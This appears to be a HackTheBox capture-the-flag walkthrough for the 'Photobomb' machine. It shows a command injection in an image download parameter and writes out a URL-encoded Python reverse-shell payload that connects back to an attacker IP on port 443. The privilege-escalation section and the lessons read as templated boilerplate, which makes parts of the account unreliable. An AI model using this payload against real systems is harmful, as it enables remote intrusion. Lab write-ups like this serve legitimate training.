Photobomb

Platform: HackTheBox | Difficulty: Easy | OS: N/A Author: D3v0o0Nu11 | Date: 2026-02-10 | Status: Solved

Summary

Walkthrough of the HackTheBox machine Photobomb. Foothold via command injection; direct root access from the foothold. Both flags captured and redacted.

Recon

Port scan

 bash read-only • copy allowed Copy
nmap -sVC -p- <IP> -oA nmap/Photobomb

Enumeration highlights

Foothold

Vulnerability / Misconfiguration

1. First, let's check all open ports and it's services from the host given.

2. Based from the output, it seems the machine is running a web application.

3. So let's open the webapp.

4. Let's click this:

5. Well we don't have any creds, let's check the page source.

6. Let's check the .js file.

7. Got a hint there, open the link then.

8. It seems we can download any image we click here.

9. Hence, let's see the download request using burpsuite and send it to repeater.

10. To check whether it's vulnerable to command injection, let's add ;id behind the value of filetype parameter.

11. Now let's try to inject command for reverse shell. I used this command from hacktools.

python3%20-c%20'import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.10.14.12%22,443));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%20pty;%20pty.spawn(%22/bin/bash%22)'

1. Now set a listeners for port 443. Then paste the payload behind the jpg;, next click send.

2. Now press ctrl-d.

3. Let's find all the flags!

4. Got the user flag!

Proof

User flag: REDACTED

Privilege Escalation

User -> Root/Admin

The exploit provided a shell running with elevated privileges directly, so no separate privilege escalation was required.

Root flag: REDACTED

Flags

Lessons Learned

1. Enumerate everything; version strings map to CVEs.
2. Confirm each hypothesis with a test before building the exploit.
3. Chain foothold -> privilege escalation mechanically.